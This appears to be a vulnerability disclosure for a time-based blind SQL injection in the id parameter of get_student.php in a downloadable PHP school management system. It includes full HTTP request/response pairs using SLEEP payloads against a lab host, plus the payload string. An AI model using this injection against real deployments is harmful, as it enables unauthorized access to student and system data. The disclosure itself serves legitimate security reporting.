

SQL injection vulnerability exists in id parameter of /model/get_student.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```
1 GET /std1/model/get_student.php?id=0%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5))))k HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:30:54 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 214
8
9
10 Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in E:\phpstudy\phpstudy_pro\WWW\std1\model\get_student.php on line 13
11 [null,null,null,null,null,null,null,null,null,null,null,null,null]
```

403 bytes | 5,008 millis

Sleep time is 9.5s:

Request

```
1 GET /std1/model/get_student.php?id=0%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(9.5))))k HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:31:43 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 214
8
9
10 Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in E:\phpstudy\phpstudy_pro\WWW\std1\model\get_student.php on line 13
11 [null,null,null,null,null,null,null,null,null,null,null,null,null]
```

403 bytes | 9,505 millis

Payload: id=0%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5))))k

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>